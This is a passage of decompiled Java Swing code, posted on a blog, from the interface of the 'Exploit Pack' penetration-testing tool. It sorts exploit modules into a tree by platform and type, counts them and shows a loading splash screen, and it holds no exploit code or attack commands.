          DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 60);
          if (((gi)this.a).R.equals("dos")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("local")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("remote")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("webapps")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          defaultTreeModel1.reload(defaultMutableTreeNode);
        } 
        if (((gi)this.a).o.equals("windows_x86")) {
          DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 61);
          if (((gi)this.a).R.equals("dos")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("local")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("remote")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("webapps")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          defaultTreeModel1.reload(defaultMutableTreeNode);
        } 
        if (((gi)this.a).o.equals("windows_x86-64")) {
          DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 62);
          if (((gi)this.a).R.equals("dos")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("local")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("remote")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("webapps")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          defaultTreeModel1.reload(defaultMutableTreeNode);
        } 
        if (((gi)this.a).o.equals("xml")) {
          DefaultMutableTreeNode defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 63);
          if (((gi)this.a).R.equals("dos")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 0);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("local")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 1);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("remote")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 2);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          if (((gi)this.a).R.equals("webapps")) {
            DefaultMutableTreeNode defaultMutableTreeNode4 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultMutableTreeNode, 3);
            DefaultMutableTreeNode defaultMutableTreeNode5 = new DefaultMutableTreeNode(((gi)this.a).Q);
            defaultMutableTreeNode4.add(defaultMutableTreeNode5);
          } 
          defaultTreeModel1.reload(defaultMutableTreeNode);
        } 
        if (((gi)this.a).o.equals("custom")) {
          DefaultMutableTreeNode defaultMutableTreeNode;
          (defaultMutableTreeNode = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 0)).add(new DefaultMutableTreeNode(((gi)this.a).Q));
          defaultTreeModel1.reload(defaultMutableTreeNode);
        } 
        this.a = b;
      } 
    } 
    DefaultMutableTreeNode defaultMutableTreeNode1;
    DefaultTreeModel defaultTreeModel5;
    (defaultMutableTreeNode1 = (DefaultMutableTreeNode)((DefaultTreeModel)this.c.getModel()).getChild((defaultTreeModel5 = (DefaultTreeModel)this.c.getModel()).getRoot(), 0)).add(new DefaultMutableTreeNode("Total exploits: " + this.a));
    this.c.expandRow(0);
    defaultTreeModel5.reload(defaultMutableTreeNode1);
    DefaultMutableTreeNode defaultMutableTreeNode2 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel1.getRoot(), 0);
    this.a.expandRow(0);
    this.a.repaint();
    defaultTreeModel1.reload(defaultMutableTreeNode2);
    DefaultMutableTreeNode defaultMutableTreeNode3 = (DefaultMutableTreeNode)defaultTreeModel3.getChild(defaultTreeModel3.getRoot(), 0);
    this.h.expandRow(0);
    this.h.repaint();
    defaultTreeModel3.reload(defaultMutableTreeNode3);
    defaultMutableTreeNode1 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel2.getRoot(), 0);
    this.g.expandRow(0);
    this.g.repaint();
    defaultTreeModel2.reload(defaultMutableTreeNode1);
    defaultMutableTreeNode1 = (DefaultMutableTreeNode)defaultTreeModel1.getChild(defaultTreeModel4.getRoot(), 0);
    this.f.expandRow(0);
    this.f.repaint();
    defaultTreeModel4.reload(defaultMutableTreeNode1);
    this.o.append("[" + this.K + "] Total modules on this instance: " + this.a + "\n");
    this.o.append("[" + this.K + "] Available in packs: 41.890\n");
  }
  
  public static void main(String[] paramArrayOfString) {
    try {
      UIManager.LookAndFeelInfo[] arrayOfLookAndFeelInfo;
      int i = (arrayOfLookAndFeelInfo = UIManager.getInstalledLookAndFeels()).length;
      for (byte b = 0; b < i; b++) {
        UIManager.LookAndFeelInfo lookAndFeelInfo = arrayOfLookAndFeelInfo[b];
        if ("Nimbus".equals(lookAndFeelInfo.getName())) {
          UIManager.setLookAndFeel(lookAndFeelInfo.getClassName());
          break;
        } 
      } 
    } catch (ClassNotFoundException|InstantiationException|IllegalAccessException|javax.swing.UnsupportedLookAndFeelException classNotFoundException) {
      Logger.getLogger(MainFrame.class.getName()).log(Level.SEVERE, (String)null, classNotFoundException);
    } 
    JWindow jWindow;
    (jWindow = new JWindow()).getContentPane().setBackground(Color.BLACK);
    JLabel jLabel = new JLabel("<html><font color='white'><b><center>Exploit Pack v14.04 [PathMaker]<br><br>Loading exploit tree, please wait..</center></b></font></html>", 0);
    jWindow.getContentPane().add(jLabel);
    jWindow.setBounds(500, 150, 300, 200);
    jWindow.setLocationRelativeTo((Component)null);
    jWindow.setVisible(true);
    EventQueue.invokeLater((Runnable)new ce(jWindow));
  }
}

  

posted @ 2020-05-02 15:26  heycomputer  阅读(1471)  评论(0编辑  收藏  举报